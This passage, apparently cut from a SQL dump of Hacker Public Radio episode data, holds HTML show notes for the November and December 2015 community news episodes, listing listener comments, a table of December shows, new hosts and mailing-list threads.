1<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2015-11-30 12:30:25 UTC<br/>\n        <em>Subject:</em> HPR Community News - next Saturday on 2015-12-05T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1016\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1016</a><br/>\n        <em>Messages:</em> 1<br/></li>\n</ol>\nTotal messages this month: 39<br/>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.</p>\n<p>There are 37 comments:</p>\n<ul> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1649#comments\" target=\"_blank\">hpr1649</a></strong>\n(2014-11-27) \"<em>Raspberry Pi Accessibility Breakthrough</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\" target=\"_blank\">Mike Ray</a>.\n<ul>       <li><a href=\"https://hackerpublicradio.org/eps.php?id=1649#6\" target=\"_blank\">Comment 6</a>:\nSteven on 2015-11-28:\n\"Question about your mods\"</li>  \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1828#comments\" target=\"_blank\">hpr1828</a></strong>\n(2015-08-05) \"<em>Multimeter Mod\'s Part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.\n<ul>     <li><a href=\"https://hackerpublicradio.org/eps.php?id=1828#4\" target=\"_blank\">Comment 4</a>:\nNYbill on 2015-11-02:\n\"USB cab;e prices went up. \"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1887#comments\" target=\"_blank\">hpr1887</a></strong>\n(2015-10-27) \"<em>Coffee Making Basics</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=313\" target=\"_blank\">JustMe</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1887#1\" target=\"_blank\">Comment 1</a>:\nBob Jonkman on 2015-11-08:\n\"Aerating boiling water\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1889#comments\" target=\"_blank\">hpr1889</a></strong>\n(2015-10-29) \"<em>experiencing the meegopad T-02  part one</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=308\" target=\"_blank\">A Shadowy Figure</a>.\n<ul>      <li><a href=\"https://hackerpublicradio.org/eps.php?id=1889#5\" target=\"_blank\">Comment 5</a>:\nA Shadowy Figure on 2015-11-02:\n\"Wow, Just Wow..\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1889#6\" target=\"_blank\">Comment 6</a>:\nAnon on 2015-11-03:\n\"Ocean Club...\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1889#7\" target=\"_blank\">Comment 7</a>:\nCPrompt^ on 2015-11-04:\n\"Fantastic!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1889#8\" target=\"_blank\">Comment 8</a>:\nFrank on 2015-11-04:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1889#9\" target=\"_blank\">Comment 9</a>:\nDavid Whitman on 2015-11-04:\n\"Nice\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1889#10\" target=\"_blank\">Comment 10</a>:\nDennis Blanchard on 2015-11-04:\n\"Good job on mysterious technology.\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1889#11\" target=\"_blank\">Comment 11</a>:\n(Mad Dog?) Dave Morriss on 2015-11-05:\n\"Brilliant!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1889#12\" target=\"_blank\">Comment 12</a>:\nREL on 2015-11-08:\n\"Mr\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1889#13\" target=\"_blank\">Comment 13</a>:\nA Shadowy Figure on 2015-11-09:\n\"Production has began on Pt.2\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1890#comments\" target=\"_blank\">hpr1890</a></strong>\n(2015-10-30) \"<em>A short walk with my son</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\" target=\"_blank\">thelovebug</a>.\n<ul>    <li><a href=\"https://hackerpublicradio.org/eps.php?id=1890#3\" target=\"_blank\">Comment 3</a>:\nJon Kulp on 2015-11-03:\n\"Better is better\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1892#comments\" target=\"_blank\">hpr1892</a></strong>\n(2015-11-03) \"<em>my chicken coop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1892#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp  on 2015-11-03:\n\"Some Fowl Commentary\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1892#2\" target=\"_blank\">Comment 2</a>:\nMike Ray on 2015-11-03:\n\"Kernel Sanders\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1892#3\" target=\"_blank\">Comment 3</a>:\njezra on 2015-11-05:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1894#comments\" target=\"_blank\">hpr1894</a></strong>\n(2015-11-05) \"<em>Interview with Davide Zilli and Dr Marianne Sinka of the HumBug Project</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1894#1\" target=\"_blank\">Comment 1</a>:\nSteve Bickle on 2015-11-15:\n\"Exellent episode\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1894#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-11-16:\n\"Great interview, great project\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1896#comments\" target=\"_blank\">hpr1896</a></strong>\n(2015-11-09) \"<em>User Local Software</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=317\" target=\"_blank\">Eric Duhamel</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1896#1\" target=\"_blank\">Comment 1</a>:\nEric Duhamel on 2015-11-25:\n\"Other ideas\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1897#comments\" target=\"_blank\">hpr1897</a></strong>\n(2015-11-10) \"<em>Installing Windows 7 Ultimate</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1897#1\" target=\"_blank\">Comment 1</a>:\nGuy Watkins on 2015-11-10:\n\"Update the firmware\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1897#2\" target=\"_blank\">Comment 2</a>:\nm l hunt on 2015-11-10:\n\"Enjoyed your show.\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1898#comments\" target=\"_blank\">hpr1898</a></strong>\n(2015-11-11) \"<em>Free my music!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=303\" target=\"_blank\">Alpha32</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1898#1\" target=\"_blank\">Comment 1</a>:\nA Shadowy Figure on 2015-11-10:\n\"By-Tor and the Snow Dog Approve\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1902#comments\" target=\"_blank\">hpr1902</a></strong>\n(2015-11-17) \"<em>My Linux Tool Box</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=299\" target=\"_blank\">Fin</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1902#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2015-11-23:\n\"Nice list\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1902#2\" target=\"_blank\">Comment 2</a>:\nzloster on 2015-11-28:\n\"Nice list\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1903#comments\" target=\"_blank\">hpr1903</a></strong>\n(2015-11-18) \"<em>Some further Bash tips</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1903#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2015-11-18:\n\"Another gem\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1903#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-11-23:\n\"Thanks Ken\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1904#comments\" target=\"_blank\">hpr1904</a></strong>\n(2015-11-19) \"<em>Windows Command Line Tips and Tricks</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=319\" target=\"_blank\">OnlyHalfTheTime</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1904#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2015-11-19:\n\"Thanks\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1904#2\" target=\"_blank\">Comment 2</a>:\nFrank on 2015-11-25:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1906#comments\" target=\"_blank\">hpr1906</a></strong>\n(2015-11-23) \"<em>Apt Spelunking 2: tvtime, phatch, and xstarfish</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1906#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2015-11-28:\n\"Some interesting packages\"</li>   \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1907#comments\" target=\"_blank\">hpr1907</a></strong>\n(2015-11-24) \"<em>Charlie Reisinger and Penn Manor</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1907#1\" target=\"_blank\">Comment 1</a>:\nJonathan Kulp  on 2015-11-25:\n\"Excellent \"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1908#comments\" target=\"_blank\">hpr1908</a></strong>\n(2015-11-25) \"<em>Arduino Pumpkin</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\" target=\"_blank\">droops</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1908#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2015-11-28:\n\"Loved this!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1909#comments\" target=\"_blank\">hpr1909</a></strong>\n(2015-11-26) \"<em>Creating an Open, Embedded-Media Music Textbook</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1909#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2015-11-26:\n\"Calibre cli\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1909#2\" target=\"_blank\">Comment 2</a>:\nJonathan Kulp  on 2015-11-26:\n\"Valuing Musicians\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1909#3\" target=\"_blank\">Comment 3</a>:\nb-yeezi on 2015-11-26:\n\"Great show\"</li>  \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1910#comments\" target=\"_blank\">hpr1910</a></strong>\n(2015-11-27) \"<em>QMMP--The Qt-based MultiMedia Player</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1910#1\" target=\"_blank\">Comment 1</a>:\nMatt on 2015-11-27:\n\"I didn&#39;t know this project existed.\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1910#2\" target=\"_blank\">Comment 2</a>:\nFrank on 2015-11-28:\n\"Thanks\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1910#3\" target=\"_blank\">Comment 3</a>:\nAudiobooks lover on 2015-11-29:\"[no title]\"</li> </ul>\n</li>\n</ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1936,'2016-01-04','HPR Community News for December 2015',5334,'HPR Community News for December 2015','\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=320\" target=\"_blank\">The Linux Experiment</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=322\" target=\"_blank\">Cov</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1912\" target=\"_blank\">1912</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-12-01</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1912\" target=\"_blank\">OpenNMS at All Things Open Conference</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1913\" target=\"_blank\">1913</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-12-02</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1913\" target=\"_blank\">The Linux Experiment</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=320\" target=\"_blank\">The Linux Experiment</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1914\" target=\"_blank\">1914</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-12-03</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1914\" target=\"_blank\">Waking up</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1915\" target=\"_blank\">1915</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-12-04</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1915\" target=\"_blank\">67 - LibreOffice Impress - Tables</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1916\" target=\"_blank\">1916</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-12-07</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1916\" target=\"_blank\">HPR Community News for November 2015</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1917\" target=\"_blank\">1917</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-12-08</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1917\" target=\"_blank\">OpenSource.com</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1918\" target=\"_blank\">1918</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-12-09</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1918\" target=\"_blank\">DerbyCon Interview with Dave Kennedy</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=79\" target=\"_blank\">Xoke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1919\" target=\"_blank\">1919</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-12-10</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1919\" target=\"_blank\">DerbyCon Interview with Paul Koblitz</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=79\" target=\"_blank\">Xoke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1920\" target=\"_blank\">1920</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-12-11</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1920\" target=\"_blank\">21 - SSH Authentication - Keys</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1921\" target=\"_blank\">1921</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-12-14</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1921\" target=\"_blank\">How to run a conference</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1922\" target=\"_blank\">1922</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-12-15</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1922\" target=\"_blank\">The case to backup Google email.</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1923\" target=\"_blank\">1923</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-12-16</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1923\" target=\"_blank\"> Klaatu and System76</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1924\" target=\"_blank\">1924</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-12-17</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1924\" target=\"_blank\">Port Forwarding</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1925\" target=\"_blank\">1925</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-12-18</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1925\" target=\"_blank\">Kdenlive Part 1: Introduction to Kdenlive</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\" target=\"_blank\">Geddes</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1926\" target=\"_blank\">1926</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-12-21</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1926\" target=\"_blank\">National Measurements Institutes</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=301\" target=\"_blank\">Amunizp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1927\" target=\"_blank\">1927</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-12-22</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1927\" target=\"_blank\">Ansible Interview</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1928\" target=\"_blank\">1928</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-12-23</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1928\" target=\"_blank\">Cov&apos;s Jams</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=322\" target=\"_blank\">Cov</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1929\" target=\"_blank\">1929</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-12-24</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1929\" target=\"_blank\">I Found a Flashlight</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1930\" target=\"_blank\">1930</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-12-25</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1930\" target=\"_blank\">A systemd primer</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1931\" target=\"_blank\">1931</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-12-28</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1931\" target=\"_blank\">Atomic force microscopy</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=301\" target=\"_blank\">Amunizp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1932\" target=\"_blank\">1932</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-12-29</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1932\" target=\"_blank\">Klaatu interviews Grafana</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1933\" target=\"_blank\">1933</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-12-30</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1933\" target=\"_blank\">HPR AudioBookClub 11 Street Candles</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1934\" target=\"_blank\">1934</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-12-31</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1934\" target=\"_blank\">Experiencing the Meegopad T-02  Part two</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=308\" target=\"_blank\">A Shadowy Figure</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>The main threads this month were:</p>\n<ol>\n    <li><em>From:</em> Frank Bell &lt;frankwbell@...&gt;<br/>\n        <em>Date:</em> 2015-11-28 15:20:25 -0500<br/>\n        <em>Subject:</em> A Question about Shownotes<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1007\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1007</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-11-30 11:44:52 +0100<br/>\n        <em>Subject:</em> New Year Show ?<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1014\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1014</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-12-02 21:50:45 +0100<br/>\n        <em>Subject:</em> FTP Password change<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1022\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1022</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Joshua Knapp &lt;jknapp85@...&gt;<br/>\n        <em>Date:</em> 2015-12-02 13:04:40 -0800<br/>\n        <em>Subject:</em> Gitlab Upgrade tomorrow<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1023\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1023</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Frank Bell &lt;frankwbell@...&gt;<br/>\n        <em>Date:</em> 2015-12-09 00:11:12 -0500<br/>\n        <em>Subject:</em> Community News (Completely Off-Topic)<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1024\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1024</a><br/>\n        <em>Messages:</em> 8<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-12-14 10:47:25 +0100<br/>\n        <em>Subject:</em> Fwd: SCALE 14x - PSA<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1032\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1032</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Fifty OneFifty &lt;fiftyonefifty@...&gt;<br/>\n        <em>Date:</em> 2015-12-15 22:27:31 -0600<br/>\n        <em>Subject:</em> Feedback needed now, Go/NoGo on New Years show<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1034\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1034</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Andrew Neher &lt;amneher007@...&gt;<br/>\n        <em>Date:</em> 2015-12-16 14:10:31 -0600<br/>\n        <em>Subject:</em> Re: Hpr Digest, Vol 87, Issue 9<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1036\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1036</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Joshua Knapp &lt;jknapp85@...&gt;<br/>\n        <em>Date:</em> 2015-12-18 